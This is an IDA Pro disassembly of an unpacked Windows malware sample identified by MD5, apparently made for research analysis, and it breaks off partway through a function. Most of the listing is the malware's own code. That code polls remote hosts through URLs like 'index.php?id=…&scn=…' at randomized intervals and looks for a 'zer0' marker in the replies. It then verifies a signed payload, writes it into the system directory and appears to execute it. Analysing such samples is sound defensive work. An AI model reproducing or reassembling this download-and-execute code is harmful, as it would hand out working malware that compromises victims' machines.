;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	BC00C8BEDE0A758338066E2E89435B5E

; File Name   :	u:\work\bc00c8bede0a758338066e2e89435b5e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31421000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31421000	dd 77DD590Bh		; DATA XREF: sub_314228DB+1Ar
dword_31421004	dd 77DD59F0h		; DATA XREF: sub_314228DB+38r
dword_31421008	dd 77DD23D7h		; DATA XREF: sub_31422882+3Er
dword_3142100C	dd 77DD22EAh		; DATA XREF: sub_3142284D+14r
					; sub_31422882+1Dr
dword_31421010	dd 77DD5C55h		; DATA XREF: sub_3142284D+24r
dword_31421014	dd 77DD189Ah		; DATA XREF: sub_3142284D+2Dr
					; sub_31422882+4Er ...
dword_31421018	dd 77E2A571h		; DATA XREF: sub_314223B2+17Dr
dword_3142101C	dd 77DE089Eh		; DATA XREF: sub_3142179A+17r
dword_31421020	dd 77DE07A3h		; DATA XREF: sub_3142179A+30r
dword_31421024	dd 77DE0D79h		; DATA XREF: sub_3142179A+4Dr
dword_31421028	dd 77DE0343h		; DATA XREF: sub_3142179A+5Br
dword_3142102C	dd 77DE0AF0h		; DATA XREF: sub_3142177E+8r
dword_31421030	dd 77DE042Eh		; DATA XREF: sub_3142177E+12r
dword_31421034	dd 77DDEBA2h		; DATA XREF: sub_3142172F+6r
dword_31421038	dd 77DE0BB2h		; DATA XREF: sub_3142172F+3Dr
		align 10h
dword_31421040	dd 77E79E34h		; DATA XREF: sub_31422CB9+Br
dword_31421044	dd 77E7980Ah		; DATA XREF: sub_31422CA5+Dr
dword_31421048	dd 77E7A099h		; DATA XREF: sub_31422B67+17r
dword_3142104C	dd 77E76A2Eh		; DATA XREF: sub_31422B67+E9r
dword_31421050	dd 77E6BD13h		; DATA XREF: sub_31422A9B+71r
dword_31421054	dd 77E684C6h		; DATA XREF: sub_31422A9B+B0r
dword_31421058	dd 77EBB1E7h		; DATA XREF: sub_31422D2Cr
dword_3142105C	dd 77EBA595h		; DATA XREF: sub_31422D26r
dword_31421060	dd 77E616B4h		; DATA XREF: sub_3142292E+9Br
dword_31421064	dd 77EBA6E9h		; DATA XREF: sub_31422D20r
dword_31421068	dd 77E73167h		; DATA XREF: sub_31422712+13r
					; sub_31422B67+8Fr
dword_3142106C	dd 77E737DEh		; DATA XREF: sub_314223B2+C8r
dword_31421070	dd 77E79D5Bh		; DATA XREF: sub_3142239E+8r
dword_31421074	dd 77E73628h		; DATA XREF: UPX0:31422346r
					; sub_31422A9B+Fr
dword_31421078	dd 77E79D8Ch		; DATA XREF: sub_314211A0+EDr
dword_3142107C	dd 77E77963h		; DATA XREF: sub_314211A0+B9r
					; sub_314211A0+F6r ...
dword_31421080	dd 77E7A837h		; DATA XREF: sub_314211A0+8Fr
					; sub_314221C4+57r
dword_31421084	dd 77E74672h		; DATA XREF: sub_314211A0+5Ar
					; sub_31421422+64r ...
dword_31421088	dd 77E74155h		; DATA XREF: sub_314211A0+3Dr
					; sub_31422A9B+40r
dword_3142108C	dd 77E704FCh		; DATA XREF: sub_314211A0+37r
					; sub_31422A9B+1Br
dword_31421090	dd 77E7513Ch		; DATA XREF: sub_314215C7+29r
dword_31421094	dd 77E61BE6h		; DATA XREF: sub_314216A2+7Dr
					; sub_31421801+16Cr ...
dword_31421098	dd 77E775F1h		; DATA XREF: sub_314216A2+1r
dword_3142109C	dd 77E73BEFh		; DATA XREF: sub_31421801+4Fr
dword_314210A0	dd 77E79C90h		; DATA XREF: sub_31421D68+4Dr
dword_314210A4	dd 77E7A5FDh		; DATA XREF: sub_31421D68+13r
					; sub_31421DF0+2Cr
dword_314210A8	dd 77E805D8h		; DATA XREF: sub_31421D68+Dr
					; sub_314223B2+116r
dword_314210AC	dd 77E61A90h		; DATA XREF: sub_31421DF0+BCr
dword_314210B0	dd 77E706B7h		; DATA XREF: sub_31421DF0+8Ar
					; sub_3142292E+92r
dword_314210B4	dd 77E79F93h		; DATA XREF: sub_31421DF0+26r
					; UPX0:31422336r
dword_314210B8	dd 77E7751Ah		; DATA XREF: sub_31421EFB+12r
dword_314210BC	dd 77E7C2C4h		; DATA XREF: sub_31421F29+8r
dword_314210C0	dd 77E7AC37h		; DATA XREF: sub_31421F38+12r
					; sub_31421F52+12r
dword_314210C4	dd 77E61BB8h		; DATA XREF: sub_31421FA3+38r
dword_314210C8	dd 77E74A3Bh		; DATA XREF: sub_3142204E+13r
dword_314210CC	dd 77E73AB3h		; DATA XREF: sub_3142204E+8r
dword_314210D0	dd 77E73C49h		; DATA XREF: sub_3142207E+137r
					; sub_314221C4+66r ...
dword_314210D4	dd 77E777EFh		; DATA XREF: sub_3142207E+F4r
					; sub_314225C3+3Fr ...
dword_314210D8	dd 77E78B82h		; DATA XREF: sub_314221C4+92r
dword_314210DC	dd 77E793EFh		; DATA XREF: sub_314221C4+6Er
dword_314210E0	dd 77E75CB5h		; DATA XREF: UPX0:31422370r
					; sub_31422A9B+C3r
dword_314210E4	dd 77F5157Dh, 0		; DATA XREF: UPX0:31422361r
dword_314210EC	dd 77C35280h		; DATA XREF: sub_31421EFB+22r
dword_314210F0	dd 77C42E10h		; DATA XREF: sub_31422CE2r
dword_314210F4	dd 77C43710h		; DATA XREF: sub_31422CDCr
dword_314210F8	dd 77C43490h		; DATA XREF: sub_31422CD6r
dword_314210FC	dd 77C3528Dh		; DATA XREF: sub_314216A2:loc_314216FCr
					; sub_31421F73:loc_31421F84r ...
; ---------------------------------------------------------------------------

loc_31421100:				; DATA XREF: UPX0:loc_31422CD0r
		mov	al, 3Eh
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_31421104	dd 77C43AB0h		; DATA XREF: sub_31421422+3Cr
					; sub_3142207E:loc_314220AFr ...
dword_31421108	dd 77C43500h		; DATA XREF: sub_31421316+37r
					; sub_31421422+AAr
		align 10h
dword_31421110	dd 77D4BDCAh		; DATA XREF: sub_31421DF0+5Dr
dword_31421114	dd 77D4456Bh		; DATA XREF: sub_31421DF0+67r
dword_31421118	dd 77D45CBCh		; DATA XREF: sub_31421DF0+7Ar
dword_3142111C	dd 77D4C96Ah		; DATA XREF: sub_314215C7+5Dr
					; sub_314215C7+77r ...
		dd 0
dword_31421124	dd 76214750h		; DATA XREF: sub_314211A0+A9r
					; sub_314215C7+9Dr
dword_31421128	dd 7620AFB6h		; DATA XREF: sub_314211A0+18r
					; sub_314215C7+89r
dword_3142112C	dd 76204E4Dh		; DATA XREF: sub_314215C7+C5r
dword_31421130	dd 762211EFh		; DATA XREF: sub_31422038+8r
					; UPX0:314227A2r
dword_31421134	dd 7620BD61h		; DATA XREF: sub_314211A0+DBr
					; sub_314215C7+B0r
		dd 0
dword_3142113C	dd 71AB41DAh		; DATA XREF: sub_31422308+10r
dword_31421140	dd 71AB3ECEh		; DATA XREF: sub_314221C4+100r
dword_31421144	dd 71AB5DE2h		; DATA XREF: sub_314221C4+10Dr
dword_31421148	dd 71AB868Dh		; DATA XREF: sub_314221C4+120r
dword_3142114C	dd 71AB32CAh		; DATA XREF: sub_31421FF9+Cr
dword_31421150	dd 71AB1740h		; DATA XREF: sub_31421FF9+17r
dword_31421154	dd 71AB2BBFh		; DATA XREF: sub_31421FF9+25r
dword_31421158	dd 71AB3C22h		; DATA XREF: sub_31421801+2Br
					; sub_314221C4+ACr
dword_3142115C	dd 71AB401Ch		; DATA XREF: sub_31421801+44r
					; sub_31422712+Dr
dword_31421160	dd 71AB1746h		; DATA XREF: sub_31421801+147r
					; sub_314221C4+F0r
dword_31421164	dd 71AB3E5Dh		; DATA XREF: sub_31421801+15Dr
dword_31421168	dd 71AB1AF4h		; DATA XREF: sub_31421801+17Br
					; sub_3142207E+67r ...
dword_3142116C	dd 71AB5690h		; DATA XREF: sub_31421801+1A4r
					; sub_31421801+1D8r ...
dword_31421170	dd 71AB8629h		; DATA XREF: sub_31421801+550r
					; sub_3142207E+128r
dword_31421174	dd 71AB1A6Dh		; DATA XREF: sub_31421801+559r
					; sub_3142207E+12Fr
		align 10h
dword_31421180	dd 0FFFFFFFFh, 0	; DATA XREF: sub_31421422+5o
		dd offset nullsub_1
		align 10h
dword_31421190	dd 0FFFFFFFFh, 0	; DATA XREF: sub_314223B2+5o
		dd offset nullsub_2
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314211A0	proc near		; CODE XREF: sub_31421422+16Dp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_314211CB
		push	1
		jmp	loc_31421261
; ---------------------------------------------------------------------------

loc_314211CB:				; CODE XREF: sub_314211A0+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		mov	edi, dword_31421088
		lea	eax, [ebp+var_110]
		push	offset dword_314241F8
		push	eax
		call	edi	; lstrcat
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_31421084	; lstrlen
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_31421F73
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset dword_314241F0
		push	eax
		call	edi	; lstrcat
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_31421080	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_31421241
		push	2
		jmp	short loc_31421261
; ---------------------------------------------------------------------------

loc_31421241:				; CODE XREF: sub_314211A0+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_31421124	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_31421264
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		push	3

loc_31421261:				; CODE XREF: sub_314211A0+26j
					; sub_314211A0+9Fj
		pop	eax
		jmp	short loc_314212B5
; ---------------------------------------------------------------------------

loc_31421264:				; CODE XREF: sub_314211A0+B4j
		mov	edi, 100000h
		push	edi
		call	sub_31422CA5
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_31421134	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_31421078	; WriteFile
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_31421FA3
		push	ebx
		call	sub_31422CB9
		add	esp, 0Ch
		xor	eax, eax

loc_314212B5:				; CODE XREF: sub_314211A0+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314211A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_314212BA	proc near		; CODE XREF: sub_31421422+F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		inc	eax
		push	0Fh
		lea	esi, [ecx+1]
		sub	edi, ecx
		pop	ecx

loc_314212D1:				; CODE XREF: sub_314212BA+56j
		mov	dl, [eax]
		mov	bl, [eax-1]
		add	edx, ecx
		add	bl, cl
		sar	edx, 4
		and	dl, 3
		sub	dl, [esp+0Ch+arg_8]
		shl	bl, 2
		or	dl, bl
		mov	[esi-1], dl
		mov	dl, [eax+1]
		mov	bl, [eax]
		dec	dl
		add	bl, cl
		and	dl, cl
		sub	dl, [esp+0Ch+arg_8]
		add	eax, 3
		shl	bl, 4
		and	bl, 0F0h
		or	dl, bl
		mov	[esi], dl
		inc	esi
		inc	esi
		lea	edx, [edi+esi]
		cmp	edx, 30h
		jl	short loc_314212D1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_314212BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421316	proc near		; CODE XREF: sub_3142139B+27p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_31421349
		add	ebx, 1Ah

loc_31421349:				; CODE XREF: sub_31421316+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_31421108
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421373
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------

loc_31421373:				; CODE XREF: sub_31421316+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421393
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------

loc_31421393:				; CODE XREF: sub_31421316+68j
		mov	al, [ebp+arg_0]

loc_31421396:				; CODE XREF: sub_31421316+5Bj
					; sub_31421316+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142139B	proc near		; CODE XREF: sub_31421422+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_314213F8
		mov	edi, [ebp+arg_0]
		push	ebx

loc_314213B0:				; CODE XREF: sub_3142139B+58j
		sub	al, 2
		inc	[ebp+arg_4]
		mov	bl, al
		mov	eax, esi
		neg	eax
		mov	byte ptr [ebp+arg_0], bl
		push	eax
		push	[ebp+arg_0]
		call	sub_31421316
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_314213DC
		cmp	bl, 7Ah
		jg	short loc_314213DC
		movsx	esi, bl
		sub	esi, 61h

loc_314213DC:				; CODE XREF: sub_3142139B+34j
					; sub_3142139B+39j
		cmp	bl, 41h
		jl	short loc_314213EC
		cmp	bl, 5Ah
		jg	short loc_314213EC
		movsx	esi, bl
		sub	esi, 41h

loc_314213EC:				; CODE XREF: sub_3142139B+44j
					; sub_3142139B+49j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_314213B0
		pop	ebx
		jmp	short loc_314213FB
; ---------------------------------------------------------------------------

loc_314213F8:				; CODE XREF: sub_3142139B+Fj
		mov	edi, [ebp+arg_0]

loc_314213FB:				; CODE XREF: sub_3142139B+5Bj
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142139B	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421402	proc near		; CODE XREF: sub_31421422+104p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	ecx, ecx

loc_31421406:				; CODE XREF: sub_31421402+12j
		mov	edx, [esp+arg_0]
		movzx	edx, byte ptr [ecx+edx]
		add	eax, edx
		inc	ecx
		cmp	ecx, 30h
		jl	short loc_31421406
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, edx
		add	eax, 61h
		retn
sub_31421402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421422	proc near		; CODE XREF: sub_314215C7+BAp

var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421180
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 164h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_128], 1
		and	[ebp+var_4], 0
		push	offset aZer0	; "zer0"
		push	[ebp+arg_0]
		call	dword_31421104	; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_130], edi
		test	edi, edi
		jz	loc_314215A8
		add	edi, 4
		mov	[ebp+var_130], edi
		jz	loc_314215A8
		push	edi
		call	dword_31421084	; lstrlen
		mov	[ebp+var_1C], eax
		cmp	eax, 50h
		jle	loc_314215A8
		and	byte ptr [edi+100h], 0
		mov	al, [edi]
		mov	[ebp+var_168], al
		movsx	ebx, al
		sub	ebx, 61h
		mov	[ebp+var_12C], ebx
		js	loc_314215A8
		cmp	ebx, 1Ah
		jge	loc_314215A8
		inc	edi
		mov	[ebp+var_130], edi
		push	7Eh
		push	edi
		call	dword_31421108	; strchr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_134], esi
		test	esi, esi
		jz	loc_314215A8
		mov	al, [esi]
		mov	[ebp+var_170], al
		and	byte ptr [esi],	0
		push	ebx
		push	edi
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_3142139B
		mov	al, [ebp+var_170]
		mov	[esi], al
		inc	esi
		mov	[ebp+var_130], esi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [esi+1]
		push	eax
		call	sub_314212BA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_31421402
		add	esp, 1Ch
		cmp	[esi], al
		jnz	short loc_314215A8
		push	44h
		push	offset dword_31424000
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142172F
		add	esp, 0Ch
		lea	eax, [ebp+var_174]
		push	eax
		push	30h
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_31421084	; lstrlen
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142179A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_3142159B
		cmp	[ebp+var_174], edi
		jz	short loc_3142159B
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_314211A0
		pop	ecx
		mov	[ebp+var_128], edi

loc_3142159B:				; CODE XREF: sub_31421422+15Cj
					; sub_31421422+164j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142177E
		pop	ecx

loc_314215A8:				; CODE XREF: sub_31421422+4Ej
					; sub_31421422+5Dj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421422	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314215C7	proc near		; CODE XREF: sub_314216A2+2Ap

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		push	4000h
		call	sub_31422CA5
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_31421090	; GetLocaleInfoA
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_3142162F
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_84]
		push	dword_31424FEC
		push	dword_31425004
		push	offset aTeqascuxcdoazy ; "teqascuxcdoazysmpau"
		push	[ebp+arg_0]
		push	offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"...
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_31421647
; ---------------------------------------------------------------------------

loc_3142162F:				; CODE XREF: sub_314215C7+34j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	offset aHttpS	; "http://%s"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch

loc_31421647:				; CODE XREF: sub_314215C7+66j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		push	ebx
		mov	edi, eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_84]
		push	ebx
		push	eax
		push	edi
		call	dword_31421124	; InternetOpenUrlA
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2000h
		push	esi
		push	ebx
		call	dword_31421134	; InternetReadFile
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_31421422
		push	esi
		call	sub_31422CB9
		mov	esi, dword_3142112C
		pop	ecx
		pop	ecx
		push	ebx
		call	esi	; InternetCloseHandle
		push	edi
		call	esi	; InternetCloseHandle
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314215C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_314216A2	proc near		; DATA XREF: sub_314223B2+15Bo
		push	ebx
		mov	ebx, dword_31421098
		push	esi
		push	edi

loc_314216AB:				; CODE XREF: sub_314216A2+88j
		xor	esi, esi
		mov	edi, 46021h

loc_314216B2:				; CODE XREF: sub_314216A2+86j
		inc	esi
		inc	esi
		call	sub_31422038
		test	eax, eax
		jz	short loc_314216FC
		mov	al, byte_31424080[esi+esi*4]
		push	eax
		push	off_31424081[esi+esi*4]
		call	sub_314215C7
		or	eax, edi
		pop	ecx
		xor	eax, 8064h
		pop	ecx
		shl	eax, 3
		mov	edi, eax
		xor	eax, 228h
		test	ax, 0FFFFh
		jnz	short loc_314216FC
		push	0
		push	offset dword_31425004
		call	ebx	; InterlockedExchange
		push	0
		push	offset dword_31424FEC
		call	ebx	; InterlockedExchange

loc_314216FC:				; CODE XREF: sub_314216A2+19j
					; sub_314216A2+46j
		call	dword_314210FC	; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		add	esi, edx
		call	sub_31422068
		xor	edx, edx
		mov	ecx, 493E0h
		div	ecx
		add	edx, 61B48h
		push	edx
		call	dword_31421094	; Sleep
		cmp	esi, 16h
		jb	short loc_314216B2
		jmp	loc_314216AB
sub_314216A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142172F	proc near		; CODE XREF: sub_31421422+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, dword_31421034
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	8
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	1
		pop	eax
		jmp	short loc_3142177A
; ---------------------------------------------------------------------------

loc_3142175C:				; CODE XREF: sub_3142172F+19j
					; sub_3142172F+26j
		lea	eax, [ebx+4]
		push	eax
		push	edi
		push	edi
		push	[esp+18h+arg_8]
		push	[esp+1Ch+arg_4]
		push	dword ptr [ebx]
		call	dword_31421038	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax

loc_3142177A:				; CODE XREF: sub_3142172F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3142172F	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142177E	proc near		; CODE XREF: sub_31421422+180p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+4]
		call	dword_3142102C	; CryptDestroyKey
		push	0
		push	dword ptr [esi]
		call	dword_31421030	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_3142177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142179A	proc near		; CODE XREF: sub_31421422+152p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	8003h
		push	dword ptr [esi]
		call	dword_3142101C	; CryptCreateHash
		test	eax, eax
		jnz	short loc_314217C0
		push	1
		pop	eax
		jmp	short loc_314217FD
; ---------------------------------------------------------------------------

loc_314217C0:				; CODE XREF: sub_3142179A+1Fj
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421020	; CryptHashData
		test	eax, eax
		jnz	short loc_314217D9
		push	2
		pop	edi
		jmp	short loc_314217F2
; ---------------------------------------------------------------------------

loc_314217D9:				; CODE XREF: sub_3142179A+38j
		push	edi
		push	edi
		push	dword ptr [esi+4]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	dword_31421024	; CryptVerifySignatureA
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax

loc_314217F2:				; CODE XREF: sub_3142179A+3Dj
		push	[ebp+arg_0]
		call	dword_31421028	; CryptDestroyHash
		mov	eax, edi

loc_314217FD:				; CODE XREF: sub_3142179A+24j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142179A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421801	proc near		; CODE XREF: sub_3142255F+36p
					; sub_314225C3+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
